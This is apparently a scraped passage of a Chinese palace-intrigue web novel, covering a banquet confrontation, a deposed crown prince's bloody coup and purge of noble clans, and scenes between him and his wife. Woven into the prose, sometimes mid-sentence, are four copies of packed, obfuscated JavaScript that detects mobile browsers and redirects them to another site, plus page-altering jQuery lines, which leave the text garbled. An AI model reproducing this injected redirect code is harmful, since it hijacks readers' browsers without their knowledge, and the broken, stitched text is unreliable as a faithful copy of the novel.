恭王妃自从长子离世,终日郁郁寡欢,不问世事。参加宫宴就像一尊漂亮的花瓶,游离于人群之外,像超凡脱俗的仙女似的从不与人攀谈,点个卯就早早离席,更不要说与人逞口舌之快。 今日一反常态,令人咋舌称奇,不过一想到她与大皇子之间的关系,又明白几分。 大抵是爱屋及乌。 气氛凝滞间,一声威严的唱喏打破僵局。 “陛下驾到——” 皇帝带着一众侍从从大门而来,在场的女眷们齐齐起身跪下迎接。 龙纹明黄袍摆在江念棠余光里漾开,却没有径直走到主座上,而是停在对面恭王妃身前。 “方才朕在外面听见恭王妃发了一通火,是谁惹她不快?” 皇帝不怒自威的声音响起,听得江念棠心口一紧。 江盈丹更是瑟瑟发抖跪在地上,不敢接话,与方才的嚣张判若两人。 江皇后一笔带过,只说是误会。 皇帝身边的总管太监近身低语几句,将事情来龙去脉原原本本说给皇帝听。 皇帝看向惶惶然的江盈丹,不变喜怒道:“江府的女儿都这般肆意妄为,不懂规矩?还不给恭王妃赔礼道歉!” 江盈丹脸色发白,腿软得无法直立,惊恐地向上首的江皇后投去求救的目光。 说的是江盈丹,听进心里的却是江皇后,她的指尖骤然陷入掌心,看向恭王妃的眼神既恨又妒。 这么多年来,皇帝还是放不下她。 江皇后的火被皇帝一句话点燃,凭什么她江家的女儿要给恭王妃道歉,对不起恭王的从来不是江家,她这么多年受委屈还不够,现在连她江家的女儿都要向那个贱人低头。 凭什么! 江皇后原本不想为难江念棠,现在却改了主意。 恭王妃要护着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405083|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,她偏偏不让,今日她便要瞧个真章,到底是她一国之母尊贵,还是她这个恭王妃更胜一筹。 江皇后冷冷道:“陛下何必动怒,丹儿不过希望本宫在寿辰这日高兴些。大皇子妃若是愿意彩衣娱亲,本宫自是心里熨帖,也不枉与大皇子一场母子情谊。” 皇后暗暗提醒皇帝,说到底是皇家私事,与外人无关,身为外人的恭王妃未免管得太宽。 皇帝的目光落在江念棠身上,他淡淡道:“大皇子妃愿意吗?” 说愿意,拂了恭王妃的好意解围。 说不愿意,在众人面前下皇后的脸。 皇帝问江念棠这个问题,属实是为难她。 同时让江念棠清晰意识到,皇帝对赵明斐果真不喜,若对他还有一丝父子情,断然不会将她推到两难的境地。 江念棠定了定神,低头道:“陛下明鉴,儿臣自然愿意为母后尽一份孝心,然而今日主角并非儿臣,故而不敢喧宾夺主。” 言下之意,她已嫁为人妇,在这场名为贺寿实为挑选皇子妃的寿宴里理当给别的贵女多些表现的机会。 她避重就轻的回答让皇帝侧目多看了一眼。 悄无声息将话题引到其他地方,两边都不得罪,这份玲珑心思和沉着应答属实难得。 皇帝也无意将事闹大,既然江念棠已经给了双方台阶下,他也乐得成全。 然而皇后偏不,她似笑非笑道:“若是本宫想看看大皇子妃有何才艺呢?” 话是说给江念棠的,眼睛却盯着恭王妃。 恭王妃自皇帝出现后眼眸低垂,脸上浮现明显的冷淡疏离,她听出皇后是在故意为难江念棠,抬头正准备替她说话,迎上对面人微微摇头。 江念棠心知自己躲不过去,起身朝皇帝皇后各自福身:“那儿臣恭敬不如从命。” 江盈丹闻言,兴奋压过恐惧,这下江念棠不仅要在内眷里丢脸,皇帝也会鄙夷她。 赵明斐会不会因此也讨厌江念棠。 江念棠请人送上笔墨纸砚和丹青色彩,不到一炷香的时间便绘出一幅竹石图。 “儿臣跟着大皇子在闲暇时习画,今日献丑了,就以这幅‘竹报平安’恭贺皇后娘娘岁岁年年无恙。” 江念棠展开画作的瞬间,全场炸开了锅。 谁人不知赵明斐妙笔丹青却眼高于顶,平日里别说指点一二,便是他的画也万金难求,谁曾想他居然会教人作画。 江盈丹被“习画”二字砸得脑袋嗡嗡的响,眼前不自觉浮现出二人伉俪情深,红袖添香的画面,胸口剧烈疼痛着。 她也曾请赵明斐指点画作,却被他以只会自娱,不会教人为由轻飘飘拒绝。 原来他可以教得这么好,只是不想教她罢了。 江盈丹的表情似笑似哭,而皇后堪称面如铁青。 她偏偏画竹! 谁人不知恭王妃最擅画竹,皇帝也曾称赞她的竹高风亮节,鹤骨松姿。 果然,皇帝笑道:“你的竹有几分恭王妃当年的神韵。” 皇后恨不能立刻撕碎这张纸,她强忍着怒意,转头瞥见皇帝目光柔和看向恭王妃,再也忍不住胸口翻滚的嫉恨,借机发难道:“竹乃空心之物,大皇子妃是在暗示本宫无心无情,置大皇子于不顾么!” 江念棠愣了下,连忙跪下请罪:“儿臣绝无此意。” 皇后冷笑道:“是不想,还是不敢。” 忽然一道不该出现的声音骤然响起。 “母后不满意她的画,不如告诉儿臣喜欢什么,我来替她画。” 温和的嗓音不重,却如在沸油里泼了一捧水。 赵明斐大步流星走到江念棠身边,拉住她站起来。 江念棠与其他人一样震惊于他的突然出现,还没回过神,人已经被护送进东宫,赵明斐曾经的寝殿内。 17. 第 17 章 第17章 “你先离开,等我回去一起用膳。” 赵明斐当着众人的面毫不避讳牵起江念棠的手,温声细气,宛如一对普通的夫妇在窃窃私语,在剑拔弩张的场合下显得尤为诡异。 江念棠做不到像他一样泰然自若,顶着他强烈的注视下无意识点了个头。 赵明斐满意地温和一笑,握住她的手紧了紧,温热有力。 他的眼神一如往昔般柔和,如同在西巷口百余个朝夕相对的日子那般寻常,可此刻的江念棠却有种背脊生寒的心悸。 她忽然觉得眼前人很陌生,陌生到她像是从未真正认识过他一般。 不仅是江念棠有这样的感觉,她余光所掠周围之人无一不大惊失色,面容惶恐,尤其是皇帝,好似看到可怖的修罗恶鬼般恐惧。 赵明斐感受到握住的手腕愈发冷硬,心知是吓到她了,颔首示意右想先带人离开,同时顺利离席的还有恭王妃。 所有人像是在做梦一般,呆愣地看着突如其来的变故。 “你……你怎么出来了。” 坐在上首的皇帝惊叫着,他终于回过神确定这一切不是梦,赵明斐竟然逃过重兵围困的禁地跑了出来,还堂而皇之跑到寿宴上。 皇帝满眼不可置信,怒中带怯地指着赵明斐:“李将军呢,李玉在哪?!快把他给朕拿下!” 到最后几乎是尖叫起来,细听还有颤音。 赵明斐好心侧开半个身位露出跟在身后的人,温文尔雅道:“父皇,李将军在这呢?” 皇帝目眦欲裂看见他无比信任的李玉长剑出鞘,站在赵明斐身侧。 他一脸肃杀冷寂,却不是警惕防备,而是防护保卫,完全没有当初对着皇帝说起赵明斐时的愤懑怨恨。 只听李玉大喝一声。 “殿下有令,禁止任何人出入宫闱,违令者斩!” 响亮有力的嗓音穿透宫墙,也打破了所有人如坠梦境的呆滞。 赵明斐取过李玉手中之剑,剑指上方,寒眸直视皇帝。 随着他一步一步逼近皇帝,宴会四周的角落里如鬼魅般悄无声息冒出数十个银盔铁甲的侍卫,正是把守西巷口的重兵。 他们将整个内院团团围住如铁桶一般,正如几个月前围住西巷口那般紧密无隙,连一只鸟都飞不出去。 赵明斐一身白衫,笑容温润,语气和煦,却听得在场所有人毛骨悚然。 “家丑可不能外扬,今夜对不住各位了。” * 另一厢,江念棠稀里糊涂被送进东宫,紧接着外面响起轻重不一的脚步声,兵刃声,远处还夹杂着撕心裂肺的吼叫和惊慌的啼哭声。 饶是她再看不懂局势,也知道此时宫里正发生不得了的大事。 赵明斐他……他…… 谋反篡位几个字只是想想,江念棠都觉得喘不上气。 这事儿离她实在太遥远,她从未想过自己有一天会经历这般惊涛骇浪的宫变。 右想把她送到房间后交代她不要出门,便匆匆离开,在房门口留下几名带刀护卫。 江念棠心中惊疑不定,站也不是,坐也不是,更没有心思打量这间华贵的寝宫,若她稍微分心看上一看,便会发现里面的诸多物件与赵明斐后面送到西巷口的一模一样。 内殿墙角还有几个箱子,全是江念棠的东西,包括她每夜陪伴入眠的那副画。 不知过了多久,屋外乱七八糟的声音渐渐平息,江念棠的心弦却一直紧绷,几乎感受不到胸腔里的跳动。 他会成功么? 江念棠控制不住地去想赵明斐失败后的下场。 不怪她这般没有信心,实在是这段时日的相处,赵明斐给她的印象皆是温和仁善,体贴儒雅,完全想不到他能做出这般铤而走险之事。 那夜他无可奈何的愤怒,听天由命的颓丧还历历在目。 再者说,他被幽拘在西巷口,平日里一言一行皆在皇帝掌控下,连出入的自由身都没有,更别说谋成大事。 江念棠从知道要嫁给赵明斐的那天起就做好了赴死的准备,如今也不怕某一天会被赐死,唯独害怕再听见他的死讯。 这般锥心刺骨的折磨她不能承受第二次。 在巨大的心理压力下,江念棠甚至出现幻觉,眼前恍惚间浮现与顾焱见的最后一面。 “这次要出远门,归期不定,但是我会尽快赶回来。” 顾焱欲言又止看着她,脸上慢慢浮起一层羞赧,江念棠问他原因,他只是一个劲儿摇头。 临别时,他挠着后脑勺,还是忍不住将藏在心里的话说出来:“念念,等我回来——” 他故意拖长音,放低声调,引诱江念棠侧身倾听。 “娶你。” 顾焱坚定吐出两个字,还没等江念棠反应过来,人已经跑到十步之外,伸臂高挥,仰天大吼。 “一定要等我回来。” 江念棠板着脸想教训他低调些,然而到嘴边却变成一声重重的嗯,眼里的喜悦怎么也藏不住。 大门毫无征兆地发出吱嘎一声,江念棠如惊弓之鸟一般弹射而起,见到是赵明斐后先是一愣,转瞬红了眼奔过去。 “你没事吧。”江念棠触摸着真实温热的身躯,悬停的心终于重新扑腾起来,而后疯狂躁动,好似要跳出嗓子眼。 赵明斐下意识搂住怀里人,安抚地拍拍她瘦弱的背,语调不自觉放轻:“我好好的,别担心。” 江念棠鼻尖嗅到淡淡的潮意,低头一看,认出他换了一件衣裳。 受了重伤才会换衣裳。 “不行,我要看看。”江念棠猛地从坚实的怀里挣脱,不由分说检查他的全身。 他永远都是报喜不报忧,受伤也不会告诉她,怕她担心,怕花钱,总是能自己扛就扛过去。 赵明斐垂眸,江念棠既惊且忧的神色落入眼中,手里的动作带着鲜有的强势。 柔软的指腹在坚硬的身躯四处游走,不轻不重,白皙的五指与玄色衣袍撞出鲜明对比,让人难以忽视。 她很担心他。 感受着透过两层薄薄的布料传递过来的柔软,他的身体却开始逐渐变硬。微凉的指尖像火引,在抚摸过的地方到处点火,皮下才从杀戮中平息的血液又重新沸腾起来。 她认真检查的模样分明没有半点旎情,却叫赵明斐眼神逐渐暗沉,比夜还幽深。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405084|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江念棠没有问他成功与否,只关心他有没有受伤。 当指尖即将碰到他的咽喉时,赵明斐猝然攥住她的腕骨,这场折磨才算停歇。 “先用膳,等会让你看个够。” 低哑的嗓音唤回江念棠逐渐丧失的理智,在对上赵明斐漆黑眼瞳瞬间,不自觉瑟缩了下。 她刚刚在做什么,怎么又认错了人。 悬空的五指骤然缩回,藏在胸前,她语无伦次:“殿下……我……失礼了……” 江念棠惊慌地连退三步,低着头,根本不敢去看赵明斐。 她的仓皇无措落在赵明斐眼里却格外可爱可怜,他开始反思自己瞒着她这么大的事,会不会让江念棠对他心存芥蒂,产生隔阂。 一想到有这种可能,赵明斐变得难以忍受,正要解释一番,殿外响起右想问膳的声音。 赵明斐只能先压下喉间不适,让人进来。 一道道冒着热气的精美菜肴被鱼贯而入地宫婢们端上,她们训练有素,行走放置间悄无声息。 赵明斐亲自替江念棠布菜:温柔道:“今天你辛苦一天,肯定累了。快吃,吃完早些安置。” 江念棠笑着道谢,她笑容勉强被对面人看在眼里。 整顿饭鸦雀无声,桌上的俩人不说话,站在后面的奴婢们更是抿紧嘴唇,呼吸轻缓,空气弥漫着莫名的压抑,丝毫没有胜利的喜悦氛围。 江念棠食不知味随意用了几口,好不容易挨到撤下饭菜,立即开口告辞。 她需要一个单独的空间平复心情。 还没等到她问自己住在哪儿,赵明斐的五指直接穿过她的指缝,温和却不容拒绝地将人拉到自己身侧坐下。 摩挲着细如凝脂的手背,缓声问她:“你是不是在生我的气?” 江念棠摇头,看着熟悉的眉眼,她心里只有庆幸。 庆幸胜利的一方是他。 同时忍不住地想,为什么顾焱没有这样的幸运,逼宫篡位和保护钦差,前者之凶险比后者何止万分。 赵明斐无视她言不由衷的回答,自顾自解释道:“宫里的都是人精,不提前告诉你,是怕你露馅。我早已安排好人护你周全,绝不会让你受伤。” 江念棠淡淡嗯了声,她其实一点也不生气赵明斐瞒着她这件事,他们之间本来也没有多少信任。 她只是忽然有些累,今日发生的一切太过梦幻。 赵明斐拉着她随意聊了几句,看出她眉眼间的倦色,示意右想带她去殿后耳房沐浴,在江念棠不解的眼神中替她拾起垂落的碎发绕至耳后。 “宫里现在各处乱糟糟的,跟我待在一起比较安全。” 再乱也乱不进东宫,但赵明斐一天没见到江念棠,忽然有点不习惯。再者她今日因他之故受了惊吓,他理当安抚一二。 江念棠以为是与大婚那夜一样,两人同处一间,分榻而眠。 是以当她被赵明斐拉入宽大的床榻时,本能地剧烈挣扎。 然而她这点力道于常年习武的男人来说微不足道,赵明斐仅用一只手,一条腿便轻易将人禁锢在身前。 赵明斐笑意不减,眼眸却冷了下来。 “你不愿意?” 18. 第 18 章 夏末风起,夤夜比白昼凉上七分。 东宫的床帐采用一种特制的轻纱,薄如蝉翼,遇风骤寒,在炎热的夏日是最好不过的纳凉物件。 江念棠的双手被缚,高举过头,掌心恰好碰见垂落下来的纱帐。 床榻上的动静稍微大一点,轻纱便会无规律在她五指、手腕上摇晃,寒凉的触感像蛇鳞在肌肤上游走,令人颤抖,不敢妄动。 江念棠确实慌乱得不敢动。 上方之人面带微笑盯着她,双眸如墨般漆黑,好似能看破她藏着心里难以启齿的秘密。 纱帐里一时寂静无声,连彼此的呼吸都微不可闻。 “这个问题很难?” 赵明斐微微俯身,两人之间的距离再一次拉近,温热的吐息落在她的脸上激起惊寒,她当下不自觉绷直背脊。 江念棠在他迫人的视线下,咬住唇又放开,直到干涩的唇瓣被完全润湿,方才强忍着颤抖道:“我只是一下子没准备好……” 赵明斐好脾气等着她的下文。 江念棠下意识躲避他的视线,却被他的另一只手强行掰正,迫使她不得不直视他的眼睛。 高大的身躯在她身上投射出浓重的阴影,赵明斐逆光的眼眸愈发深邃如渊。 “别紧张,我又不会吃了你。”嗓音低沉,有种说不出的蛊惑暧昧。 他弯了弯眼睛,勾出一个柔和的笑容,像春日里的暖风。 江念棠目光掠过他的眉毛、双眼,止步于鼻尖,又重新抬眼看向赵明斐。 视线触及的那一刹,江念棠听见了自己的心跳声。 他的黑瞳里倒映着她的脸,让她骤然恍惚。 愿意吗? 江念棠展露一抹笑,“愿意。” 她其实已经准备了很久很久,久到快要忘记应该做出什么表情。 赵明斐感受到身下人忽然放松下来,她微扬起头慢慢向上靠近,紧接着温热而柔软的东西覆上了他的唇。 他的瞳孔微征,然而只有那么一瞬,便反客为主。 比起江念棠温和的触碰,赵明斐的吻强硬凶狠,像是要将她一口口吃掉似的。 这和她想象中的不一样。 江念棠不自觉发出抗拒的呜咽声,伸手想推开他,结果却发现双臂仍然被禁锢在顶,只能扭动身体躲开他强势霸道的入侵。 然而她越反抗,被压制得愈紧,江念棠最终只能被动承受他给予的所有,口中的每一寸都被陌生的触感扫过。 她从没有被这样对待过,开始对接下来发生的事感到害怕。 就在江念棠要喘不过气来时,赵明斐忽然停了下来。 他抬起头,沾满情/欲的脸悬在她上方寸许,一言不发看着她。 无声的视线在江念棠脸上逡巡,她被他看得愈发心虚,不自在别过脸,余光瞥见赵明斐唇上残留的润泽。 这回赵明斐没再强硬要求她回正视线,只有紊乱的呼吸与喘息声在空气中交缠。 正当江念棠不知如何是好,赵明斐却侧躺在床榻上,他放开她的手,改成搂住她的腰。 赵明斐嗓音喑哑:“早点睡。” 江念棠却毫无睡意,身体比之前更僵硬,起伏的胸口瞬间停滞。 在肢体接触间,她分明感受到他的变化,然而他停了下来。想到某种可能后,她的心沉入谷底,连呼吸都变得困难。 埋在颈窝的头忽然闷笑一声,拢住细腰的手紧了紧:“怎么抖成这样,不是说了睡觉吗?” 江念棠盯着纱帐顶狰狞的盘龙,艰涩道:“为什么……” 赵明斐闭着眼,安抚似的轻拍她的侧腰,温声呢喃道:“因为现在不是好时候,而且你好像没有准备好。”他的鼻尖亲昵地蹭了蹭细软的颈窝:“不着急,我们的日子还长。” 江念棠听见他说:“别的新娘有的,我都会给你。” 这一刻,她觉得自己卑鄙至极,恶劣至极,根本配不上赵明斐这样对她。 * 忽如其来的宫变打得朝野上下措手不及,众位大臣们本以为只是来参加一个普通的宫宴,谁料自己和妻儿尽皆身陷囹圄。 废太子逼宫,李将军叛变,恭王府率先称臣。 要知道李将军是皇帝千挑万选提拔上来的亲信,他又与严珩一交往过密,两家人下个月即将定亲,任谁也不会想到他是废太子的人。 再说废太子,他剑指诸臣,眉目柔和却说出骇人之语。 降者,与妻儿回家团聚。 逆者,全家以另一种方式团聚。 有人仗着自己在京城多世累积的根基,当场怒骂赵明斐不仁不义,罔顾人伦,表示绝不屈服于他的淫威之下。 言之凿凿,气势礴礴,仿佛料定赵明斐不敢杀他。 然而还未等细数赵明斐的罪状,下一刻已身首异处,脖颈喷溅而出的血柱染红大殿中的第一块青砖。 然后越来越多的砖变成猩红色,空气中弥漫着浓稠的血气。 赵明斐随意坐在象征至高无上的王座之上,唇瓣微弯,斯条慢理地用锦啪擦拭剑刃上的血迹,青色的帕子被染成深黑,像是未掺水的墨汁般黏腻。 他当真践行自己说过的话,遇到顽固抵抗的,先到后宫抓来亲眷,将其当面斩杀,随后又拿出一本册子。 赵明斐体贴叫人送到跟前,言笑晏晏:“一家人,谁也不能少。” 负隅顽抗者捡起书册,翻开一看,竟然是家谱,当即昏死过去。 赵明斐好心叫太医替他针灸扎醒。 杀戮从宫内蔓延到宫外,早先潜入城内的三千精兵分作数十股,联合李玉手中的人马将这些个世家大族的府邸团团围住。 宫里每送出来一本夺命册,就有一个姓氏在京城除名。 赵明斐杀人诛心,定要等阖府老少全部伏诛,方才下令杀掉早已失魂落魄的朝臣,他们往往等不到银甲侍卫拔刀便要自行了断。 然而赵明斐早有预料,勒令侍卫死死制住,必定要等到家族中除他之外最后一个人头落地才肯松手。 等人自戕后,他哀叹着命人厚葬。 一连数十日,整个城人人皆化为惊鸟,稍有风吹草动便惶惶不可终日,生怕屠刀忽然在自己头顶落下,遭遇灭族之祸。 赵明斐丢的册子有薄有厚,竟真的不在乎他们背后盘根错节的势力,也不担心将他们屠戮殆尽后朝廷无法运转。 随着周围熟悉的面孔越来越少,还尚存活的人饶是再糊涂,看着地上淋漓的鲜血,听着耳边撕心裂肺的惨叫,也该知道如何选择了。 相比起前朝的腥风血雨,后宫显然要平静得多。 但仅仅也只是看起来平静,女眷妃嫔们被限制在一个大厅内不得出入,她们谁也不敢发出一点儿声音,任由恐惧在无声中蔓延。 外面守着数十个带刀侍卫,他们面朝殿外,脸上透着不近人情的肃穆冰冷。 女眷们已经被困在宫中数日,心理和身体受到双重折磨,然而却不敢有一刻松懈,眼睛战战兢兢盯着紧闭的大门,生怕它不打开,又更怕它又打开。 因为每打开一次,就会有几个人被拖走,无论是参宴的命妇贵女,还是已成皇家的妃嫔都无法幸免。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405085|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她们离开时哭声凄厉,精致的妆容变得狼狈不堪,即便这样也未能打动这些个冷面悍将,遇上不省事的直接将刀架在脖子上。 刀锋上的冷光让在场的人的脸色煞白,胆战心惊。 最要命的事,出去的人再也没有回来过。 这架势,可不像是放人出宫。 眼看大厅内的人越来越少,最先坐不住的是江盈丹,她从小是天之骄女,父亲是首辅,姑姑是皇后,别说有人拿刀指着她,连白眼也未曾受过一个,何曾受过这般惊吓。 她看向上首的江皇后,好几次想跑过去问她现在该怎么办,被她母亲死死按在原地。 江夫人冷睨了她一眼,“乖乖坐下。” 如今人为刀俎,她们是鱼肉,只能等着前朝博弈出一个结果。 江皇后还算冷静,毕竟在深宫沉浮十几年,看出赵明斐是要杀鸡儆猴,她们不过是微不足道的筹码,做任何事都徒劳无功。 眼神不由自主瞥到墙角胭脂色宫装的妃嫔身上,她身边现在围绕着许多人,甚至有品阶比她还高的嫔妃,这位正是赵明斐的生母李贵嫔。 李贵嫔原本和其他人一样惊慌失措,然而渐渐在周围人的吹捧中迷失自我。 造反的是她儿子,若是成功她的地位水涨船高,若是失败,她完全可以推脱不知情,失去这个儿子,她还有另外一个从小长在跟前的小儿子。 李贵嫔对赵明斐其实没有什么感情,比起天真活泼的小儿子,赵明斐让她感到心悸。他明明是在笑,却总有种凉薄的悚然,叫人无法亲近。 皇后内心冷笑,李贵嫔在想什么她一清二楚,反而对赵明斐的冷酷无情愈发忌惮。 比起提前离席的恭王妃,他的生母似乎也没有受到更多的优待。 日升日落,等到门再一次被打开时,大厅里的人只剩下一半,这回走进来的不再是面目狰狞的侍卫,而是东宫的大宫女右想。 她面无表情环视一周,最终落在江皇后略显疲态的脸上。 “殿下有令,请诸位娘娘各自回宫,其余夫人小姐们随我出宫,宫门口已为各位准备好归家的马车。” 听到这句话的众人几乎热泪盈眶,尤其是归家二字,格外动听。 然而右想话锋一转,冷声道:“殿下提醒诸位,近来京中蹿入一伙流寇,来无影去无踪,已有多家不幸遭难。请各位回去好好休息,切莫乱跑,否则做了刀下亡魂,岂不冤屈。” 大伙听出她的言外之意,颤抖着嘴唇低声称是。 右想满意地走在前面,女眷们支起发软的腿,相互搀扶走出令人窒息的大殿。 于此同时,流寇中的某位带头人在西街公卿府邸作乱时,不慎被一位弱柳扶风的女婢砍伤了腿。 严珩一嘲笑他:“顾焱,你竟然被一介女流伤到,莫不是看上人家了?” 床上的男子虽然年轻,却是一位用剑高手,严珩一等人能有惊无险到达黎城,他功不可没。 顾焱躺在床榻上,手臂挡住眼睛不想理他。 严珩一笑嘻嘻坐在床边,揶揄道:“你要是真喜欢,待我去查清她的底细没问题后,向殿下替你求个情,将她赏给你。” 赵明斐虽打定主意对这群尸位素餐的蠹虫斩草除根,却对无关紧要的奴仆网开一面,当然,若有那些个要尽忠赴死的也不规劝。 顾焱摆摆手,示意他快滚。 严珩一与他一路患难与共,早把顾焱当成自己人,对他的无礼也不在意,同时说起话来也没顾忌。 “对了,你之前说过回来后要娶一位小姐,她是谁啊?” 19. 第 19 章 赵明斐在前朝呼风唤雨,在后宫掀起惊涛骇浪,内外皆以他的命令为金科玉律,不容违抗。 回到自己住了十几年的东宫,做主的人却换成了江念棠。 赵明斐慵懒地躺在江念棠的腿上,有一搭没一搭地和她商量大婚的事。 “芸夫人想要留下观礼,还是直接下江南?” 芸夫人是江念棠的娘亲,赵明斐把人接到皇宫,又让太医院的人替她诊脉,短短数日已有成效,不过积年沉疴,还需日后静养才能痊愈。 江念棠:“我问过娘亲的意思,她说想在当天离开。” 芸夫人歌姬出身,是地方上精心培养送给江父用来解闷的玩意儿,她自知身份卑微,不愿带累女儿的名声,因而拒绝参加江念棠大婚。 当初江念棠一顶轻软小轿送进西巷口时,芸夫人躺在床上没能起来,如今只要求远远看上一眼她出嫁时候的模样便心满意足。 至于离开京城,则是江念棠的主意。 赵明斐要娶江念棠,自然不会让一国之母的生母是个妾室,原本打算让江家提为平妻,却被江念棠拒绝,换成要江府放母亲自由身。 她说娘亲本就不喜欢江府的生活,在这里也没有能说得上话的人,她又嫁入宫闱,一年到头见不了几次面。 她离家数年,现在想回故乡养病,顺便看看还有没有故人。 赵明斐对这种小事自然无所谓,他抬手捏了捏江念棠的鼻尖,笑道:“以后见不到你娘,你想她了怎么办?” 江念棠莞尔一笑,眼眸弯弯:“那我就去找殿下,见到殿下便好了。” 赵明斐笑意更甚,他喜欢江念棠这样依恋他的感觉。 手从她的脸颊划过,绕到纤长白皙的脖颈,而后不轻不重地往下压到自己怀中。 “你不仅能见到,还能……”未尽之话消散于两人的唇边。 轻纱摇曳,烛光忽明忽灭,墙上的人影密不可分地黏在一起。 夜深寂静,耳侧亲吻声被无限放大。 赵明斐的唇舌与江念棠的勾缠在一起,她微张着嘴,予取予求。 江念棠实在是太乖了,面对他的索取,毫无防备。 最先受不住的反而是赵明斐,他轻柔又不失力道地推开手中,眸色深沉。 “再等一等……”他动了动喉咙,拇指在细腻滚烫的脸颊上摩挲,喑哑道:“你还能拥有更多。” 江念棠眼眸氤氲着白雾,唇如花瓣般糜艳,看向他的眼神热烈沉沦,既让人生出无限怜惜,又能激发他隐藏在骨子里的暴戾。 想要她哭出来,泪落在他的身上。 赵明斐在付诸行动之前闭上眼,“替我按按头,最近处理那一大摊子烂事儿让人头疼。” 他也是偶然发现江念棠有这手功夫,她说是从前跟府里的一个老大夫学的,帮助娘亲舒缓病痛折磨。 赵明斐是人,他也会累,只不过不会显于人前。 但江念棠不一样,她是他的妻,与他百年之后埋在一起,生生世世相伴的人。 从前他不在乎自己的妻子是谁,只要能给他带来足够的利益,故而赵明斐不介意给那些自命清高贵女一点微不足道的甜头,看她们争先恐后向自己示好。 感受着柔软的指腹贴着他的额角,赵明斐惊叹于她看上去手无缚鸡之力,力道却不小。 他比一般人耐受力强上三分,而江念棠却能精准拿捏分寸。 恰到好处的力量让他紧绷的神经得到极大缓解,扫去一天的疲惫。 她似乎有一种神奇的力量,让赵明斐在她身边不由自主放松下来,他的意识渐渐昏沉。 江念棠低头凝视俊朗的面庞,视线最后落在他深邃的眉眼上,目光迷离。 即便说她卑鄙无耻,她也认了。 江念棠在心底暗暗发誓,她一定会好好对赵明斐,用余生补偿他。 屋里留了三盏烛灯,赵明斐特意吩咐不许灭,焰火精准覆盖到屋内每一个角落,又不至于太亮影响休息。 夜晚的风更大了,青纱帐在空中飞舞,借着暖黄的光晕在两人身上落下忽明忽暗的阴影。 江念棠俯身,慢慢贴近怀中人,小心地在他眉心落下一吻。 在她看不见的地方,赵明斐的唇角漾开一丝若有似无的笑意。 赵明斐跟江念棠有商有量,对其他人可没有那么好的脾气,哪怕是自己的亲弟弟。 赵明澜仗着是赵明斐的关系,在这个节骨眼不老实呆着,还叫嚷着请赵明斐善待皇帝,勿忘皇帝的谆谆教诲云云。 赵明斐都被他气笑了,当即把赵明澜与皇帝关在一道,又命令每日除了送饭,不许人进去伺候,成全赵明澜尽孝的心。 阖宫的妃嫔们听闻此事,老老实实缩在自己宫里,成年的皇子们被各自母妃耳提面命不许闹事,未成年的也不敢在此时冒头。 她们都被赵明斐的手段吓怕了,再也不想经历宫变那数十日的绝望。 除了后宫,前朝亦然。 朝臣们以为这次宫变后必然会导致一段时间内朝纲不振。 赵明斐杀了如此多的高门公卿,再加上不少人历此大劫后萌生去意,有上书称病的,有告老还乡的,短短几日官吏人员减损过重,官署内门可罗雀。 谁料吏部忽然接到一本厚厚的册子,上面写满人名,亦写清了他们调动的职位,人数之多,补足空缺绰绰有余。 细细一看,里面有不少曾经因得罪赵明斐而被贬谪到偏远地区的官员,五年前的状元,三年前的榜眼,还有一杆子曾经在京都熠熠发光,却转瞬自动请缨去外地赴任的俊才们。 他们都有一个共同的特点,背后没有靠山。 或出身不显,或门第败落,亦或者得罪权贵无法保全自身,选择藏锋敛锷远走他乡。 吏部尚书还看到一个熟悉的名字,常桓。 此人是去年的探花,因其相貌俊美,文采出众被皇帝点为探花郎,游街时惹得不少闺中少女一见倾心。 有位京城的小姐看中探花郎,想要榜下捉婿,在得知对方已有妻儿的情况下竟然派人去灭口。好在她们途中遇上严珩一,将人救了下来。 常桓当时就去告了御状,然而皇帝却以没有造成人命草草揭过,只因对方是上京大族,牵一发而动全身。 因为他的不识好歹,在官场上被同僚排挤,最终在严珩一的建议下请调离京。 诸如此类的例子不胜枚举,吏部尚书看着密密麻麻的人名,内心震动不已。 果然赵明斐来者不拒,只要在位期间没有重大过失的官员,他一律准许归乡荣养,而有重大过失的则直接拖出去斩首。 血腥气又一次席卷京城,寸土寸金的朱雀大街因此降了三成地价。 等到养病的官员回过神急急回来销假,发现早已没有他们的位置,悔之晚矣。 赵明斐用行动告诉这些个倚老卖老的官员,他们不做,有的是人等着发光发热。 保住乌纱帽的官员们则收起侥幸心理,他们原本以为杀戮过后必是安抚,故而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 